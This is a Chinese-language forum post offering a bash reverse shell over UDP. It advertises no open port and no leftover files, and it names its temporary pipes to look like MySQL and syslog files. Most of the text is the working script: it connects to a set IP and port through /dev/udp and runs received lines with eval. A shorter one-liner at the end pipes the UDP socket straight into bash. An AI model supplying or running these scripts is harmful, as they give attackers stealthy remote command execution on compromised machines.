[zone-xsjswt]Linux UDP反弹shell脚本
原文:Linux UDP反弹shell脚本,无端口,无残留文件,妈妈说标题要长才有人看,没人点赞的话不许回家吃饭 (标题太长,忍不住删了几个字)
* 无端口
* 成功启动后无残余文件
* 一般情况下没有UDP单包512字节的问题。当然你要是执行奇葩的命令我也没办法
* 非交互式shell,也就是说,你不能用回车来写多行命令。这个问题不是不能解决,而是如果解决这个问题,会造成另外一个我不能忍受的问题。而且反正可以执行命令了,自己另外反弹一个可交互的shell就是了
* 由于某些bash特性和某些我不能忍受的功能,某些子进程会在链接断开或者输入exit指令一段时间之后才会自动退出
图就不贴了,大家自己玩
#!/bin/bash
REVIP=127.0.0.1
REVPORT=8080
PIPE=/tmp/mysql-debug-mode
PIPE2=/tmp/syslog
TIMEOUT=20
rm -rf $PIPE
mknod $PIPE p
rm -rf $PIPE2
mknod $PIPE2 p
function KeepAlive(){
rm -rf $PIPE
rm -rf $PIPE2
while [ 1 == 1 ]
do
sleep $TIMEOUT
echo Connection: keep-alive or die
done
}
function DoRealShell(){
KeepAlive &
PIDALIVE=$!
while read line
do
if [ "$line" == "exit" ]
then
kill $PIDALIVE
kill $PIDCONN
kill $$
exit
fi
echo executing command: $line
eval $line
done
kill $PIDALIVE
kill $PIDCONN
kill $$
exit
}
function Shell(){
LENGTH=0
DoRealShell | while read line
do
echo $line
done
}
function StartShell(){
Shell >$PIPE2 2>&1 <$PIPE
}
function MakeConn(){
echo Welcome back
cat $PIPE2 &
cat - >$PIPE &
}
MakeConn </dev/udp/$REVIP/$REVPORT 2>&0 1>&0
PIDCONN=$!
StartShell
rm -rf $PIPE
rm -rf $PIPE2
又研究了一下,其实根本没有那么复杂,而且完美解决退出和多行的问题,上个帖子你们就忽略吧 ‘
#!/bin/bash exec 3>/dev/udp/127.0.0.1/8080 exec 2>&3 exec 1>&3 echo Welcom back cat 0<&3 | bash | while read line;do echo $line;done
